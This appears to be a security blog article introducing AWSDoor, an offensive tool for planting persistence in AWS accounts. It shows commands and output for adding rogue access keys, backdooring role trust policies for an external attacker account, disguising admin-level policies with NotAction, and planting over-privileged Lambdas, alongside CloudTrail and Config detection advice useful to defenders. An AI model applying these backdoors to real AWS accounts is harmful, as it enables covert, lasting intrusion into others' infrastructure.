<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Over the past decade<strong>, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used</strong> to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is deployed, secured, and monitored.</p>
<p style="text-align: justify;">However, as cloud adoption accelerates, its features and complexity <strong>introduced new challenges associated with securing these environments</strong>. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still <strong>fail to implement effective cloud security strategies</strong> due to the novelty of these environments. Among the most predominant misconfigurations, <strong>misconfigured IAM roles, overly permissive policies</strong>, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.</p>
<p style="text-align: justify;">When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation,<strong> the most common action</strong> following the initial compromise and privilege escalation is <strong>to deploy access persistence on the environment. </strong></p>
<p style="text-align: justify;">Unlike traditional on-premises networks, cloud environments offer several services and <strong>configuration loopholes that can be abused to maintain long-term access</strong> even after remediation efforts have begun.</p>
<p style="text-align: justify;">In this article, we’ll explore the <strong>concept of access persistence in AWS</strong>, dissecting the techniques adversaries can use to hide themselves within a cloud environment.</p>
<p style="text-align: justify;">All along this article, <strong>the features of a dedicated tool</strong> designed to simplify and automate the deployment of <strong>persistence techniques in AWS environments</strong> will be presented</p>
<p>&nbsp;</p>
<h2>Persistence on AWS</h2>
<h3>IAM persistence</h3>
<p style="text-align: justify;">In the context of AWS, <em>Identity and Access Management </em><strong>(IAM) is the cornerstone of security</strong>. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have <strong>not been explicitly allowed</strong> to perform an action , <strong>you won’t be able to do anything.</strong></p>
<p style="text-align: justify;">At a high level, IAM operates by <strong>associating identities (such as IAM users or roles) with policies</strong> that are <em>JSON</em> documents describing the privileges of an IAM object on a resource.</p>
<p style="text-align: justify;">These policies are highly granular, <strong>supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes</strong>. IAM configurations are not just access controls, they are part of the infrastructure itself.</p>
<p style="text-align: justify;">IAM has <strong>become a powerful vector for access persistence</strong> and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they <strong>can modify IAM policies</strong>, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.</p>
<p style="text-align: justify;">What makes <strong>IAM-based persistence especially dangerous is its stealth and durability</strong>. Indeed, changes to IAM often <strong>blend in with legitimate administrative activity</strong>, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the <strong>malicious policy is like finding a needle in a haystack</strong>.</p>
<p style="text-align: justify;">In this section, we’ll explore <strong>common and lesser-known techniques attackers</strong> can use to establish persistence by modifying IAM configurations. We&#8217;ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics</p>
<p>&nbsp;</p>
<h4>Access key</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">The <strong>101-persistence technique is adding an AccessKey </strong>to a user.</p>
<p style="text-align: justify;">On <em>AWS</em>, users can connect through the <em>CLI</em> using <em>AccessKey</em>. The easiest way to deploy persistence is by deploying an <em>AccessKey</em> on a privileged user.</p>
<p style="text-align: justify;">Once the <em>AccessKey</em> is created for the user, the attacker <strong>can access <em>AWS</em> through the <em>CLI</em> with the user’s privileges.</strong></p>
<p style="text-align: justify;">However, this technique has some limitations:</p>
<ul style="text-align: justify;">
<li>Only two <em>AccessKey</em> can be registered at once on a user.</li>
<li>Some <em>SCP</em>, a global policy applied by the organization on a sub-account can prevent users from using <em>AccessKey</em> or enforce <em>MFA</em></li>
</ul>
<p style="text-align: justify;">Regarding the limitation of number of AccessKey registered on a user, it is possible to:</p>
<ol>
<li style="text-align: justify;">List the AccessKey registered on a user</li>
<li style="text-align: justify;">Get the last time the <em>AccessKey</em> has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk</li>
<li style="text-align: justify;">Delete the unused AccessKey:</li>
</ol>
<p>&nbsp;</p>
<figure id="attachment_27374" aria-describedby="caption-attachment-27374" style="width: 1017px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png" alt="Information about the AccessKey has been used" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1.png 1728w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27374" class="wp-caption-text"><em>Information about the AccessKey has been used</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">In order to list and delete an <em>AccessKey</em>, the following privileges are needed:</p>
<ul style="text-align: justify;">
<li><strong>iam:ListAccessKeys</strong>: retrieve the <em>AccessKeys</em> details</li>
<li><strong>iam:UpdateAccessKey</strong>: deactivate the key prior to its deletion</li>
<li><strong>iam:DeleteAccessKey</strong>: effectively delete the <em>AccessKey</em></li>
</ul>
<p style="text-align: justify;">For the <em>MFA</em> it is possible to register an <em>MFA</em> on a specific user without his consent allowing bypassing the restriction. However, if the <em>AccessKey</em> login is denied, this technique cannot be used.</p>
<p style="text-align: justify;">In order to add an <em>AccessKey</em> to a user, the following privilege is needed:</p>
<ul style="text-align: justify;">
<li>iam:CreateAccessKey</li>
</ul>
<p style="text-align: justify;">In order to add <em>MFA</em> to a user, the following privilege is needed:</p>
<ul>
<li style="text-align: justify;">aws:CreateVirtualMfaDevice</li>
<li style="text-align: justify;">aws:EnableMfaDevice</li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in <em>AWSDoor</em>:</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>The <strong>key is then added to the user</strong>:</p>
<p>&nbsp;</p>
<figure id="attachment_27378" aria-describedby="caption-attachment-27378" style="width: 956px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27378" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="AWS Key added through AWSDoor" width="956" height="383" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-2048x819.png 2048w" sizes="auto, (max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27378" class="wp-caption-text"><em>AWS Key added through AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">While adding an <em>AccessKey</em> to a user is the <strong>easiest way to achieve persistence in an AWS environment</strong> it is also one of the <strong>least stealthy methods</strong>.</p>
<p style="text-align: justify;">Indeed, if the detection team detected the environment compromise, it can easily find the <em>AccessKey</em> deployed by <strong>the compromised user through the AWS CloudTrail logs</strong>:</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27382" aria-describedby="caption-attachment-27382" style="width: 1024px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27382" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png" alt="AccesKey creation log" width="1024" height="741" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1.png 1505w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-27382" class="wp-caption-text"><em>AccesKey creation log</em></figcaption></figure>



<p> </p>
<p style="text-align: justify;">Moreover, some security solutions <strong>such as Cloud Security Posture Management system can detect this type of persistence</strong> if users usually do not use AccessKey.</p>
<p style="text-align: justify;">Finally, as a recommendation, it is usually better to <strong>avoid using IAM users with AccessKey and prefere using the AWS SSO</strong>: <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html"><span style="color: #000080;">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</span></a></p>
<p style="text-align: justify;">Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to <strong>spot rogue AccessKey and closely monitor existing ones</strong> (<em>CICD</em> service users for example).</p>
<p> </p>
<h4>Trust policy</h4>
<p style="text-align: justify;">In <em>AWS</em>, roles are <em>IAM</em> objects used to delegate access across services, accounts, or users. Unlike IAM users, <strong>roles do not have long-term credentials</strong>. Instead, <strong>they are assumed (used) through the sts:AssumeRole API</strong>, which returns short-lived credentials granting the permissions defined in the role’s permission policies.</p>
<p style="text-align: justify;">To control who can assume a role, <strong>AWS</strong> <strong>uses a special document called a trust policy</strong>. A trust policy specifies the <strong>trusted principals</strong> identities (users, roles, accounts, services, or federated users) that are <strong>allowed to assume the role</strong>. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.</p>
<p style="text-align: justify;">Real life usecase for AssumeRole and Trust Policy</p>
<p style="text-align: justify;">Imagine a company with multiple <em>AWS</em> accounts:</p>
<ul style="text-align: justify;">
<li>one for development</li>
<li>one for staging</li>
<li>one for production</li>
</ul>
<p style="text-align: justify;">Rather than creating and managing separate IAM users in each environment, <strong>the organization defines a centralized group of administrators in a management account</strong>.</p>
<p> </p>
<figure id="attachment_27384" aria-describedby="caption-attachment-27384" style="width: 945px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27384" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png" alt="Principe of AssumeRole through TrustPolicy" width="945" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1.png 1763w" sizes="auto, (max-width: 945px) 100vw, 945px" /><figcaption id="caption-attachment-27384" class="wp-caption-text"><em>Principe of AssumeRole through TrustPolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Each target account <strong>defines a role with elevated privileges</strong> (e.g., CrossAdminAccess), and configures a trust policy <strong>allowing only the management account&#8217;s IAM identities to assume it</strong>. The TrustPolicy, deployed on each target account will look like this:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br />      },<br />      "Action": "sts:AssumeRole",<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This approach provides <strong>clean separation between environments while maintaining centralized control</strong>. Admins &#8220;switch roles&#8221; from the management account into the other accounts only when needed without duplicating credentials.</p>
<p style="text-align: justify;">After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">As it is shown in the previous <em>TrustPolicy</em>, the capacity to assume a specific role in an account <strong>is managed by the policy that explicitly allows a foreign account</strong> to assume a role in the target account.</p>
<p style="text-align: justify;">However, <strong>nothing enforces the TrustPolicy to allow only an account from known and trusted account</strong>. An attacker with the privileges to modify a <em>TrustPolicy</em> can backdoor the policy by allowing his own <em>AWS</em> account to assume the role in the compromised account:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::${attackerAccountId}:role/fakeRole"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br /></pre>
<p>Once this policy is applied, it is <strong>possible to assume the backdoored role directly from the external</strong>.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br />[-] Initial trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::438465151234:root"<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br />[+] New trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::438465151234:user/ADM01",<br />          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Trust policy for FAKEROLE updated</pre>
<p> </p>
<figure id="attachment_27386" aria-describedby="caption-attachment-27386" style="width: 991px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27386" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png" alt="Trust policy modified using AWSDoor" width="991" height="406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1.png 1774w" sizes="auto, (max-width: 991px) 100vw, 991px" /><figcaption id="caption-attachment-27386" class="wp-caption-text"><em>Trust policy modified using AWSDoor</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">The tool allows you to:</p>
<ul>
<li style="text-align: justify;"><strong>target a specific statement with the -s argument</strong>: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement</li>
<li style="text-align: justify;"><strong>create a new statement with the -c argument</strong>: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)</li>
</ul>
<p> </p>
<figure id="attachment_27388" aria-describedby="caption-attachment-27388" style="width: 1280px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27388" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png" alt="Creation of a new statement" width="1280" height="855" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1.png 1478w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /><figcaption id="caption-attachment-27388" class="wp-caption-text"><em>Creation of a new statement</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">This type of persistence <strong>is a powerful persistence mechanism in AWS environments</strong>. This technique <strong>does not require storing credentials inside the victim environment</strong>, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.</p>
<p style="text-align: justify;">Detection of this persistence <strong>method requires close monitoring of trust policy changes</strong>. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.</p>
<p> </p>
<figure id="attachment_27390" aria-describedby="caption-attachment-27390" style="width: 931px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27390" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png" alt="Event UpdateAssumeRolePolicy" width="931" height="375" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1.png 1944w" sizes="auto, (max-width: 931px) 100vw, 931px" /><figcaption id="caption-attachment-27390" class="wp-caption-text"><em>Event UpdateAssumeRolePolicy</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Likewise, <strong>AWS Config can be used with custom rules to detect TrustPolicy targeting</strong> unmanaged account.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">An IAM role policy is a JSON document <strong>attached to an IAM role that defines what actions the role is allowed</strong> (or denied) to perform, on which resources, and under which conditions.</p>
<p style="text-align: justify;">For example, the following policy allows the associated role to list all S3 buckets in the account.</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">In the policy syntax, <strong>it is possible to use negation operator</strong>: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.</p>
<p style="text-align: justify;">Indeed, <strong>by using the NotAction operator, AWS will apply the statement effect to every action</strong> except those explicitly listed.</p>
<p style="text-align: justify;">For example, the following policy:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This policy will allow the role to <strong>perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket</strong>: it basically grants the associated role the maximum privileges on the account.</p>
<p style="text-align: justify;">For a defender, at first glance, <strong>this policy looks like an inoffensive policy targeting a S3 resource</strong>, but it in fact grants AdministratorAccess privileges to the role.</p>
<p style="text-align: justify;">The attacker <strong>can then backdoor the specific role using the TrustPolicy</strong> persistence as explained before to get a full remote access to the AWS account.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">For the policy, there are two possibilities:</p>
<ul>
<li style="text-align: justify;"><strong>Attached policy</strong>: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:</li>
</ul>
<p> </p>
<figure id="attachment_27393" aria-describedby="caption-attachment-27393" style="width: 724px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27393" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png" alt="Role policy attached" width="724" height="217" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1.png 1374w" sizes="auto, (max-width: 724px) 100vw, 724px" /><figcaption id="caption-attachment-27393" class="wp-caption-text"><em>Role policy attached</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Inline policy (-i)</strong>: this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.</li>
</ul>
<p style="text-align: justify;">Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.</p>
<p> </p>
<figure id="attachment_27395" aria-describedby="caption-attachment-27395" style="width: 987px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27395" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png" alt="Inline policy created" width="987" height="420" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1.png 1562w" sizes="auto, (max-width: 987px) 100vw, 987px" /><figcaption id="caption-attachment-27395" class="wp-caption-text"><em>Inline policy created</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion</strong>, especially when paired with NotResource fields.</p>
<p style="text-align: justify;">The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:</p>
<ul>
<li style="text-align: justify;"><strong>Monitor IAM Policy Changes</strong> via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion</li>
<li style="text-align: justify;"><strong>Investigation on policy documents containing the NotAction</strong> This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)</li>
<li style="text-align: justify;"><strong>Enforce compliance check with AWS Config</strong>: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect</li>
</ul>
<p> </p>
<h3>Resource based persistence</h3>
<p style="text-align: justify;">In AWS, <strong>it&#8217;s common to attach IAM roles to resources like</strong> <strong>Lambda functions, EC2 instances</strong>, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.</p>
<p style="text-align: justify;">From an attacker&#8217;s point of view, <strong>this setup can be useful for persistence</strong>. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.</p>
<p style="text-align: justify;">This <strong>means the attacker doesn’t need to create new credentials or modify IAM directly</strong>. As long as they maintain access to the resource, they can continue using the role’s permissions, which makes this method both effective and harder to detect.</p>
<p> </p>
<h4>Lambda</h4>
<p style="text-align: justify;"><strong>AWS Lambda functions have become a popular choice for running code</strong> in the cloud without having to manage servers. They allow developers and organizations to automate tasks, respond to events, and build scalable applications that run only when needed. For example, Lambda can process files uploaded to S3, handle API requests, or automatically react to changes in a database.</p>
<p style="text-align: justify;">For example, in order to manage the account administrators, it is possible to create a <strong>Lambda function that adds privileges to a user when he is added to a DynamoDB database</strong>: the modification of the DynamoDB trigger the lambda code and makes it change the user privilege according to the change in the database.</p>
<p style="text-align: justify;">Therefore, <strong>it is not usual to associate an IAM identity to a lambda.</strong></p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Over-privileged role</span></h5>
<p style="text-align: justify;">A way to get persistence on an AWS account is to either<strong> associate an overprivileged IAM identity</strong> to an existing lambda or modify the code of an already existing over-privileged lambda.</p>
<p style="text-align: justify;">For example, the attacker can:</p>
<ul style="text-align: justify;">
<li>Create a lambda function</li>
<li>Associate an IAM privileged role (using the NotAction trick for example)</li>
<li>Add a python code allowing either execute arbitrary code or extract the lambda temporary credentials</li>
<li>Expose the lambda directory on Internet through an API Gateway or a Lambda Function</li>
</ul>
<p style="text-align: justify;">The following <strong>figure summarizes the persistence deployment:</strong></p>
<p> </p>
<figure id="attachment_27398" aria-describedby="caption-attachment-27398" style="width: 708px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27398" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-234x191.png" alt="Lambda persistence deployment" width="708" height="578" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1-768x627.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_11-FR-Persitence-on-AWS.docx-Word-1.png 1142w" sizes="auto, (max-width: 708px) 100vw, 708px" /><figcaption id="caption-attachment-27398" class="wp-caption-text"><em>Lambda persistence deployment</em></figcaption></figure>
<p> </p>
